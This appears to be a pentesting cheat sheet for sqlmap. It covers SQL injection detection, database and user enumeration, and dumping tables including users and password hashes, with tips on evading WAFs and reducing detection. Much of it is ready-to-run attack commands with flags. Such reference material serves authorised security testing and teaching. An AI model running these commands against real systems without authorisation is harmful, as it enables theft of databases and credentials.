Basic GET parameter test
sqlmap -u “http://target.com/page.php?id=1”
*Tests the `id` parameter for SQL injection using default detection techniques*
```bash
# Non-interactive mode (auto-answer prompts)
sqlmap -u "http://target.com/page.php?id=1" --batch
Automatically accepts default answers to all prompts for unattended scanning
# POST data test
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch
Tests POST parameters in request body (common for login forms)
# Cookie-based test (requires --level 2+)
sqlmap -u "http://target.com/dashboard.php" --cookie="PHPSESSID=abc123; user=admin" --level=2 --batch
Tests cookie values for SQL injection (requires elevated test level)
# Test from Burp request file
sqlmap -r request.txt --batch
Loads full HTTP request from file (preserves headers, body, method)
# Test specific parameter only
sqlmap -u "http://target.com/page.php?id=1&name=test" -p id --batch
Focuses testing on the id parameter, ignoring name
Options & Flags
| Flag | Purpose |
|---|---|
| -u URL | Target URL with parameters |
| —data=“param=val¶m2=val2” | POST body data |
| —cookie=“name=value; name2=value2” | Cookie values (semicolon separator) |
| -p PARAM | Test only this parameter |
| -r FILE | Load HTTP request from file (e.g., from Burp) |
| —batch | Never ask for user input (accept defaults) |
| —level=N | Test depth 1–5 (default 1; cookies at 2+, User-Agent/Referer at 3+) |
| —risk=N | Payload aggressiveness 1–3 (default 1; higher = more destructive/false positives) |
| —technique=BEUST | Limit injection techniques (B=boolean-blind, E=error, U=union, S=stacked, T=time-blind, Q=inline) |
| —random-agent | Randomise User-Agent header |
| —threads=N | Concurrent requests (default 1) |
| —dbms=DBMS | Force DBMS type (MySQL, PostgreSQL, MSSQL, Oracle, etc.) |
| —flush-session | Ignore saved session data, start fresh |
| —parse-errors | Display DBMS error messages from responses |
| -t FILE | Log all HTTP traffic to file |
Practical Examples
# Quick GET test with auto-defaults
sqlmap -u "http://example.com/product.php?id=5" --batch
Standard automated scan with default settings
# POST login form test, faster with threads
sqlmap -u "http://example.com/login.php" --data="user=admin&pass=1234" --batch --threads=5
Accelerates testing using 5 concurrent threads
# Cookie test with increased level and risk
sqlmap -u "http://example.com/dashboard.php" --cookie="sessionid=xyz789" --level=3 --risk=2 --batch
Deeper testing including User-Agent/Referer headers with more aggressive payloads
# Test from Burp capture, limit to UNION/error techniques
sqlmap -r burp_request.txt --technique=UE --batch
Faster testing by excluding time-based blind techniques
# Force MySQL DBMS, randomise User-Agent
sqlmap -u "http://example.com/search.php?q=test" --dbms=MySQL --random-agent --batch
Skips DBMS fingerprinting and evades basic User-Agent filtering
# Test only 'id' parameter, exclude time-based (faster)
sqlmap -u "http://example.com/item.php?id=10&cat=2" -p id --technique=BEU --batch
Targeted test on single parameter without slow time-based blind payloads
Output Interpretation
| Output | Meaning |
|---|---|
| parameter ‘X’ is vulnerable | SQL injection confirmed in parameter X |
| parameter appears to be injectable | High confidence of vulnerability |
| Injection type | Boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries |
| DBMS fingerprint | MySQL 5.x, PostgreSQL 9.x, MSSQL 2012, etc. |
| Payload | Successful injection payload displayed |
| all tested parameters do not appear to be injectable | No vulnerability detected; try --level=5 --risk=3 |
| Session saved | Results cached; re-run skips already-tested parameters unless --flush-session used |
| Output location | Results saved to ~/.local/share/sqlmap/output/ (newer Kali) or ~/.sqlmap/output/ (older Kali) |
OPSEC & Detection Considerations
- High request volume: sqlmap generates numerous requests, easily detected by IDS/IPS/WAF
- User-Agent signature: Default
sqlmap/1.xheader is fingerprinted by WAFs; use--random-agent - Time-based blind delays: Causes deliberate 5–10 sec delays per test; use
--technique=BEUto exclude - Log traces: Visible in web server access logs, application logs, database logs, WAF/SIEM alerts
- Obvious SQL patterns: Payloads contain
' OR 1=1,UNION SELECT,SLEEP()signatures - No stealth mode: Use
--delay,--threads=1,--random-agentfor basic noise reduction (still detectable)
Common Errors & Solutions
| Error | Solution |
|---|---|
| unable to connect to target URL or proxy | Check network; WAF may be blocking; try --random-agent, --delay=2 |
| parameter appears to be not injectable | Increase detection: --level=5 --risk=3; try specific --technique; verify manually |
| all tested parameters do not appear to be injectable | Increase --level and --risk; check for WAF; try --tamper scripts |
| connection timed out | Use --timeout=30, --retries=3, --technique=BEU, --threads=1, --disable-precon |
| heuristic test shows parameter might not be injectable | Warning only; sqlmap continues testing; safe to ignore if parameter is vulnerable |
Version & Platform Notes
- Kali Linux ships with sqlmap 1.9+ (stable as of Jan 2025)
- Update:
sudo apt update && sudo apt install sqlmap - Run as:
sqlmap(nopython sqlmap.pyneeded on Kali) - Cookie testing requires
--level=2minimum - User-Agent/Referer testing requires
--level=3 - Python 2.x support deprecated but still works; Python 3.x recommended
sqlmap Database Enumeration
Purpose: Enumerate databases, current DB, current user, DBMS version/banner after SQL injection is confirmed
Prerequisites:
- SQL injection already identified (run detection first)
- sqlmap session saved (or re-run with injection URL)
- Network access to target
- Authorised testing scope
Core Commands
# List all databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Retrieves names of all accessible databases on DBMS
# Show current database
sqlmap -u "http://target.com/page.php?id=1" --current-db --batch
Identifies which database the application is currently using
# Show current user
sqlmap -u "http://target.com/page.php?id=1" --current-user --batch
Reveals DBMS user account running the queries
# List all database users
sqlmap -u "http://target.com/page.php?id=1" --users --batch
Enumerates all DBMS user accounts
# Retrieve DBMS banner
sqlmap -u "http://target.com/page.php?id=1" --banner --batch
Obtains DBMS version and build information
# List tables in specific database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Shows all tables within specified database
# List columns in specific table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Retrieves column names and data types for specified table
# Exclude system databases from enumeration
sqlmap -u "http://target.com/page.php?id=1" --dbs --exclude-sysdbs --batch
Filters out information_schema, mysql, sys, performance_schema
Options & Flags
| Flag | Purpose |
|---|---|
| —dbs | Enumerate all databases |
| —current-db | Retrieve current database name |
| —current-user | Retrieve current DBMS user |
| —users | Enumerate all DBMS users |
| —passwords | Enumerate password hashes for users |
| —privileges | Enumerate user privileges |
| —banner | Retrieve DBMS version banner |
| -D DATABASE | Specify target database |
| —tables | Enumerate tables (requires -D) |
| -T TABLE | Specify target table |
| —columns | Enumerate columns (requires -D and -T) |
| —exclude-sysdbs | Skip system databases |
| —schema | Enumerate entire DBMS schema |
| —count | Retrieve row count for table |
| -a or —all | Retrieve everything (very slow) |
Practical Examples
# Full enumeration workflow: databases → tables → columns
sqlmap -u "http://example.com/product.php?id=5" --dbs --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp --tables --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --columns --batch
Standard three-step reconnaissance process
# Quick context: current DB and user
sqlmap -u "http://example.com/product.php?id=5" --current-db --current-user --batch
Fast initial reconnaissance of application database context
# List only user-created databases (exclude system DBs)
sqlmap -u "http://example.com/product.php?id=5" --dbs --exclude-sysdbs --batch
Focuses on application databases, ignoring DBMS internals
# Enumerate users and their privileges
sqlmap -u "http://example.com/product.php?id=5" --users --privileges --batch
Identifies potential privilege escalation paths
# Get DBMS version and current database
sqlmap -u "http://example.com/product.php?id=5" --banner --current-db --batch
Combined fingerprinting and context gathering
# Count rows in 'orders' table before dumping
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T orders --count --batch
Assesses data volume before committing to full extraction
Output Interpretation
| Output | Meaning |
|---|---|
| Databases | List of database names (e.g., information_schema, mysql, webapp, testdb) |
| Current DB | Single database name the application uses (e.g., webapp) |
| Current user | DBMS user running queries (e.g., webapp_user@localhost, root@%) |
| Tables | List of table names in specified database |
| Columns | Column names with data types (e.g., id INT, username VARCHAR(50), password_hash CHAR(64)) |
| Users | DBMS user accounts (e.g., root, admin, webapp_user) |
| Privileges | User permissions (e.g., SELECT, INSERT, FILE, SUPER) |
| Banner | DBMS version (e.g., MySQL 5.7.33-0ubuntu0.16.04.1) |
| Row count | Number of rows in table (e.g., 12,543 entries) |
OPSEC & Detection Considerations
- High query volume: Each enumeration step generates multiple queries; logged in DB and web server
- Enumeration queries stand out:
SELECT schema_name FROM information_schema.schemata,SHOW TABLES, etc. are obvious reconnaissance - Time-based enumeration slowest: Can take minutes per table; use
--technique=BEUto exclude time-based - System DB enumeration: Querying
information_schema,mysql,sysgenerates alerts in mature SOCs - Repeated session reuse: sqlmap saves session; re-running doesn’t re-test injection but still generates enumeration traffic
Common Errors & Solutions
| Error | Solution |
|---|---|
| unable to retrieve tables for database ‘X’ | Insufficient privileges; try different database or check --privileges |
| unable to retrieve column names for table ‘X’ | Table may not exist or access denied; verify with --tables first |
| Session confusion | Use --flush-session to start fresh |
| Timeout during enumeration | Use --threads=1, --technique=BEU, --timeout=30 for unstable connections |
| No results for —current-db | Injection may be blind and slow; wait or try --technique=U (UNION-based is faster) |
Version & Platform Notes
- Enumeration syntax consistent across sqlmap 1.x versions
- DBMS-specific differences: MySQL uses
information_schema, MSSQL usessysobjects, PostgreSQL usespg_catalog; sqlmap handles automatically - Column data types vary by DBMS (e.g., MySQL
VARCHAR, PostgreSQLCHARACTER VARYING, MSSQLNVARCHAR)
sqlmap Table Dumping & Data Extraction
Purpose: Extract data (rows, columns, tables) from target database after enumeration
Prerequisites:
- SQL injection confirmed
- Database and table names known (from enumeration phase)
- Sufficient DBMS privileges (typically
SELECT) - Network access and authorised scope
Core Commands
# Dump entire table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Extracts all rows and columns from specified table
# Dump specific columns only
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump --batch
Selective extraction (comma-separated, no spaces)
# Dump first 100 rows
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --start=0 --stop=100 --batch
Paginated extraction (0-indexed, exclusive stop)
# Dump rows matching condition
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --where="id>1000" --batch
Conditional extraction using SQL WHERE clause
# Dump all tables in database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump --batch
Extracts entire database (can be very slow)
# Dump all databases (extremely slow)
sqlmap -u "http://target.com/page.php?id=1" --dump-all --exclude-sysdbs --batch
Complete data exfiltration excluding system databases
Options & Flags
| Flag | Purpose |
|---|---|
| —dump | Extract data from table(s) |
| -D DATABASE | Specify database (required) |
| -T TABLE | Specify table (required unless dumping all) |
| -C COL1,COL2 | Dump only specified columns (comma-separated, no spaces) |
| —start=N | First row to dump (0-indexed) |
| —stop=N | Last row to dump (exclusive) |
| —first=N | First character to retrieve per column entry |
| —last=N | Last character to retrieve per column entry |
| —where=“condition” | SQL WHERE clause for conditional dump (e.g., "id>100", "date>'2024-01-01'") |
| —dump-all | Dump entire DBMS (all databases and tables) |
| —exclude-sysdbs | Skip system databases when using --dump-all |
| —dump-format=FORMAT | Output format: CSV (default), HTML, SQLITE |
| —count | Get row count before dumping |
| —output-dir=DIR | Custom output directory |
Practical Examples
# Dump 'users' table from 'webapp' database
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --batch
Standard full table extraction
# Dump only 'username' and 'email' columns
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users -C username,email --dump --batch
Targeted extraction minimising data exfiltration footprint
# Dump first 50 users
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --start=0 --stop=50 --batch
Quick sample of table contents
# Dump admin users only (conditional)
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --where="role='admin'" --batch
Filtered extraction based on column value
# Count rows before dumping large table
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --count --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --dump --start=0 --stop=1000 --batch
Assessment before committing to extraction
# Dump all user-created databases (exclude system DBs, very slow)
sqlmap -u "http://example.com/product.php?id=5" --dump-all --exclude-sysdbs --batch
Complete data exfiltration (can take hours)
Output Interpretation
| Output | Meaning |
|---|---|
| Dumped data location | ~/.local/share/sqlmap/output/<target>/dump/ (Kali Linux) |
| CSV format | Default; files named <database>/<table>.csv |
| Console output | sqlmap prints table to terminal in ASCII table format |
| Empty results | Table may be empty or WHERE condition matches no rows |
| Partial dumps | --start/--stop limits shown; re-run with different ranges for more data |
| Password hashes | sqlmap automatically detects hashes and offers to crack |
| Row count | Table 'users' dumped to CSV file (42 entries) indicates number of rows extracted |
OPSEC & Detection Considerations
- Extremely noisy: Dumping generates hundreds to thousands of queries per table
- Data exfiltration signatures: Large
SELECTresult sets trigger DLP/SIEM alerts - Time-based blind slowest: Can take hours for large tables; exclude with
--technique=BEU - Logs everywhere: Web server access logs, application logs, database query logs, network traffic captures
- Automated cracking prompts: sqlmap detects password hashes and asks to crack; answer
Nto skip or use--batch - No stealth mode: sqlmap prioritises speed over stealth; data extraction is inherently detectable
Common Errors & Solutions
| Error | Solution |
|---|---|
| unable to retrieve entries for table ‘X’ | Access denied or table doesn’t exist; verify with --tables and check --privileges |
| connection reset by peer during dump | Large result set or unstable connection; use --threads=1, dump in chunks with --start/--stop |
| Timeout errors on large tables | Use --timeout=60, --technique=BEU, dump in smaller chunks |
| Out-of-memory errors | Dumping millions of rows; use --start/--stop to paginate |
| WHERE clause syntax errors | Use single quotes inside double quotes: --where="name='admin'" (not --where='name="admin"') |
| No output for —dump | Check --count first to verify rows exist; verify -D and -T are correct |
Version & Platform Notes
- sqlmap 1.9+ (Jan 2025) default output:
~/.local/share/sqlmap/output/on Kali Linux - Older versions:
~/.sqlmap/output/ - CSV format default; HTML/SQLITE available with
--dump-format - Password hash cracking requires separate tools (hashcat, John the Ripper); sqlmap detects but doesn’t crack inline by default in
--batchmode
References
- sqlmap GitHub Repository
- sqlmap Official Website
- sqlmap Usage Wiki
- sqlmap Features Documentation
- Burp Suite
- hashcat
- John the Ripper
#sqlmap #SQLi #WebAppSec #DatabaseEnum #DataExfiltration #PenetrationTesting #Kali #SQLInjection #AutomatedTesting